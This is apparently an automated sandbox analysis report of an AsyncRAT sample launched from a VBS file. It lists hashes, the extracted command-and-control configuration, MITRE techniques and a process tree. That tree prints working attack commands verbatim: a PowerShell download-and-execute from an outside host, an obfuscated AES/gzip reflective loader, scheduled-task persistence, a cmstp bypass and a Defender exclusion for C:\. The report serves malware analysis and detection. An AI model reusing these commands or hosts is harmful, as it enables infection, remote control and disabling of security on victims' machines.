asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
198s
max time network
205s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 19:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/memory/532-123-0x0000000006820000-0x0000000006832000-memory.dmp	family_asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	560	powershell.exe
42	532	powershell.exe
50	532	powershell.exe
51	532	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
532	powershell.exe
4420	powershell.exe
1232	powershell.exe
3312	powershell.exe
560	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1260	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4460	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
560	powershell.exe
560	powershell.exe
4420	powershell.exe
4420	powershell.exe
1232	powershell.exe
1232	powershell.exe
3312	powershell.exe
3312	powershell.exe
532	powershell.exe
532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	560	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4460	taskkill.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe
Token: 34	3312	powershell.exe
Token: 35	3312	powershell.exe
Token: 36	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe
Token: 34	3312	powershell.exe
Token: 35	3312	powershell.exe
Token: 36	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 2224	4720	WScript.exe	83
PID 4720 wrote to memory of 2224	4720	WScript.exe	83
PID 2224 wrote to memory of 560	2224	cmd.exe	85
PID 2224 wrote to memory of 560	2224	cmd.exe	85
PID 560 wrote to memory of 756	560	powershell.exe	87
PID 560 wrote to memory of 756	560	powershell.exe	87
PID 756 wrote to memory of 4644	756	csc.exe	88
PID 756 wrote to memory of 4644	756	csc.exe	88
PID 560 wrote to memory of 1180	560	powershell.exe	89
PID 560 wrote to memory of 1180	560	powershell.exe	89
PID 4720 wrote to memory of 1980	4720	WScript.exe	110
PID 4720 wrote to memory of 1980	4720	WScript.exe	110
PID 1980 wrote to memory of 1232	1980	cmd.exe	112
PID 1980 wrote to memory of 1232	1980	cmd.exe	112
PID 1980 wrote to memory of 1232	1980	cmd.exe	112
PID 1232 wrote to memory of 3312	1232	powershell.exe	115
PID 1232 wrote to memory of 3312	1232	powershell.exe	115
PID 1232 wrote to memory of 3312	1232	powershell.exe	115
PID 1232 wrote to memory of 444	1232	powershell.exe	119
PID 1232 wrote to memory of 444	1232	powershell.exe	119
PID 1232 wrote to memory of 444	1232	powershell.exe	119
PID 444 wrote to memory of 800	444	WScript.exe	120
PID 444 wrote to memory of 800	444	WScript.exe	120
PID 444 wrote to memory of 800	444	WScript.exe	120
PID 800 wrote to memory of 532	800	cmd.exe	122
PID 800 wrote to memory of 532	800	cmd.exe	122
PID 800 wrote to memory of 532	800	cmd.exe	122
PID 532 wrote to memory of 4592	532	powershell.exe	124
PID 532 wrote to memory of 4592	532	powershell.exe	124
PID 532 wrote to memory of 4592	532	powershell.exe	124
PID 4592 wrote to memory of 1260	4592	cmd.exe	126
PID 4592 wrote to memory of 1260	4592	cmd.exe	126
PID 4592 wrote to memory of 1260	4592	cmd.exe	126

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dmg5tk1p\dmg5tk1p.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:756
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE7D.tmp" "c:\Users\Admin\AppData\Local\Temp\dmg5tk1p\CSC39DB2FBC074455ABDDF248865FCC42C.TMP"
        5⤵
        
        PID:4644
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\bkhc0ad4.inf
      4⤵
      PID:1180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_481_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx481.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3312
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx481.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:444
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx481.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:800
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx481.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:532
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAC4F.tmp.bat""
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4592
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        8⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6760e11a3889fb787579db9ca1859ec8

SHA1
40c009aebcfac955d4917291d11ed71bdafd049a

SHA256
b725cee8700a4e54679d7bfae77ab694600c360de4f72c3e6bd77fe91fa23912

SHA512
32ab533bf2bdc28ca5d9ce9038e2acfde50788e6768fd888abd693db5c0c77ff813542e20555f4858f6ad06d45aa59f78e84ba36b726f5a816d5d9e6139b6667

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bf0eda50972f08c8b9d8c9cb5ce7d0c2

SHA1
2d8fb14d729b8afe30b4dd3d83d9dfa50afd5dab

SHA256
58507df56c947895b91930c001aa1e917c7bd33cf813ec203487735195c545e1

SHA512
4acafe573b1ef9063ef434e44f72ba3e69d8b39834c13a11fc3c240cacfae71e45634829e31c1669ce842e2f7de0b11a4076142bcd3f185d6db5c67bbd64c2fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBE7D.tmp

Filesize
1KB

MD5
af8f48fdfaa3745d5e5bcf237c0e9a6c

SHA1
0daff024a3189dd00b672735768f59c83249410c

SHA256
dc3d1374e7d1dee4eeb46b74d4217c6b9c7f8e8b4cff75bab8dfdea7565bb494

SHA512
f8691f5783c4ab45d0311b7672cdbb19e514252a8b63f598553137aad7d2ffdd2dcc3a2991ad6d4020c8e3a6d1f54e6ac79397dc1b1bcef3c55d95c6a5c4ab05

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j5qbrdv5.hko.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\dmg5tk1p\dmg5tk1p.dll

Filesize
4KB

MD5
3f75b0e2c01dc57b00d7ff53b7df8562

SHA1
e8227999bbd45ae72078fb557a47fdb274292d49

SHA256
4563607693c0499bf73f849fdaf7afd96050775a3e9990ef9f4cc5689bb06853

SHA512
8af7fffcc8ed13465b0402cb2b71bd3b9b909256eb9439735580dfc07e7d84db338c53bbc957dc97f0eff8d8b7a7602929677b61f3a1f66eaf5a43732113cb16

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAC4F.tmp.bat

Filesize
171B

MD5
b9f3774a5a8d96352389f36beb20d91c

SHA1
99ce59287eb332084362881dc5d1a52b2fad8eeb

SHA256
bd3de6585349d4f22b2c231c7f5b85b917d6b7f66dfea34075f95591363b0700

SHA512
d7ba6fc87c17e51e0c05446330bf047901c2a2ed0a5b757f810a9f91fd505eb80dd7b2c59f3b1ea414a066e87f7aeff4b15a8a39732265aa5f161239c37ba242

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx481.vbs

Filesize
111B

MD5
17cbf6e9fd8fc01e9656f6446053ce6c

SHA1
b30b141e1cdf509b6ff1b6fdbed22ceded43f786

SHA256
f6420be462cba3ab05957785b9579731bcc92a3ae39b0d6e7c160d377a69a6a3

SHA512
e385391a1f83b25b98342f23b365bb148f7eadcfff5ff78367f42b8e2d16a898fd51a91a1428c4a80426ad2163a8d5704f619ca1bf144eb60c5bb612729ba61e

Download Submit
C:\windows\temp\bkhc0ad4.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dmg5tk1p\CSC39DB2FBC074455ABDDF248865FCC42C.TMP

Filesize
652B

MD5
463754cdddda758fd1824a0ead3ed11c

SHA1
3bc4e0c21e62bbcb6260331ad0f396c3fd1752e9

SHA256
ce856098583fc1230fea028a1cb098f1738cd3b827cfdd909d3d78f869e766fa

SHA512
ccf5a1d5c32dc7dbbfb7f4fd551b83e279f6df1fcb5b505c5d8b040be3ee8afd2c72bb1f81c37ab85a74b37d62321d79e4829d2cdbcc4b87baa574966f1cddd3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dmg5tk1p\dmg5tk1p.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dmg5tk1p\dmg5tk1p.cmdline

Filesize
369B

MD5
56cb0b803e627ac279e0f31df445873e

SHA1
5bde345957d5f1c82c383cf02ad868a3ea3a1538

SHA256
860247b7d828085df7d7737df2e0b32e7d9da26674ec067855502de92fe0f918

SHA512
f2d45c2d84b4698a285ef60fc8ade5735817654e5f26072b5007e69ef79131ee2e11e50fd43df183d84d1adb0ba8ae08ecd374a43a946f71ad230e07d1a472e3

Download Submit
memory/532-128-0x0000000008990000-0x0000000008A22000-memory.dmp

Filesize
584KB

Download
memory/532-129-0x0000000005670000-0x00000000056D4000-memory.dmp

Filesize
400KB

Download
memory/532-123-0x0000000006820000-0x0000000006832000-memory.dmp

Filesize
72KB

Download
memory/532-125-0x0000000007FD0000-0x0000000008046000-memory.dmp

Filesize
472KB

Download
memory/532-126-0x00000000080D0000-0x0000000008138000-memory.dmp

Filesize
416KB

Download
memory/532-127-0x0000000007DB0000-0x0000000007DCE000-memory.dmp

Filesize
120KB

Download
memory/560-12-0x00007FFAABF90000-0x00007FFAACA51000-memory.dmp

Filesize
10.8MB

Download
memory/560-44-0x00007FFAABF90000-0x00007FFAACA51000-memory.dmp

Filesize
10.8MB

Download
memory/560-13-0x000002682F550000-0x000002682F56C000-memory.dmp

Filesize
112KB

Download
memory/560-26-0x000002682F5C0000-0x000002682F5C8000-memory.dmp

Filesize
32KB

Download
memory/560-0-0x00007FFAABF93000-0x00007FFAABF95000-memory.dmp

Filesize
8KB

Download
memory/560-48-0x00007FFAABF90000-0x00007FFAACA51000-memory.dmp

Filesize
10.8MB

Download
memory/560-43-0x00007FFAABF93000-0x00007FFAABF95000-memory.dmp

Filesize
8KB

Download
memory/560-11-0x00007FFAABF90000-0x00007FFAACA51000-memory.dmp

Filesize
10.8MB

Download
memory/560-1-0x000002682F710000-0x000002682F732000-memory.dmp

Filesize
136KB

Download
memory/1232-63-0x0000000005680000-0x00000000059D4000-memory.dmp

Filesize
3.3MB

Download
memory/1232-57-0x0000000005610000-0x0000000005676000-memory.dmp

Filesize
408KB

Download
memory/1232-75-0x0000000007000000-0x000000000700E000-memory.dmp

Filesize
56KB

Download
memory/1232-76-0x00000000080C0000-0x0000000008664000-memory.dmp

Filesize
5.6MB

Download
memory/1232-53-0x0000000004680000-0x00000000046B6000-memory.dmp

Filesize
216KB

Download
memory/1232-54-0x0000000004DD0000-0x00000000053F8000-memory.dmp

Filesize
6.2MB

Download
memory/1232-55-0x0000000004D90000-0x0000000004DB2000-memory.dmp

Filesize
136KB

Download
memory/1232-56-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/1232-74-0x0000000006EE0000-0x0000000006F7C000-memory.dmp

Filesize
624KB

Download
memory/1232-69-0x0000000005C50000-0x0000000005C6E000-memory.dmp

Filesize
120KB

Download
memory/1232-70-0x0000000005C80000-0x0000000005CCC000-memory.dmp

Filesize
304KB

Download
memory/1232-73-0x0000000006230000-0x0000000006238000-memory.dmp

Filesize
32KB

Download
memory/1232-72-0x00000000061E0000-0x00000000061FA000-memory.dmp

Filesize
104KB

Download
memory/1232-71-0x0000000007490000-0x0000000007B0A000-memory.dmp

Filesize
6.5MB

Download
memory/3312-102-0x0000000006FD0000-0x0000000006FE1000-memory.dmp

Filesize
68KB

Download
memory/3312-101-0x0000000007060000-0x00000000070F6000-memory.dmp

Filesize
600KB

Download
memory/3312-100-0x0000000006E30000-0x0000000006E3A000-memory.dmp

Filesize
40KB

Download
memory/3312-99-0x0000000006CA0000-0x0000000006D43000-memory.dmp

Filesize
652KB

Download
memory/3312-98-0x0000000006C70000-0x0000000006C8E000-memory.dmp

Filesize
120KB

Download
memory/3312-88-0x0000000070660000-0x00000000706AC000-memory.dmp

Filesize
304KB

Download
memory/3312-87-0x0000000006C30000-0x0000000006C62000-memory.dmp

Filesize
200KB

Download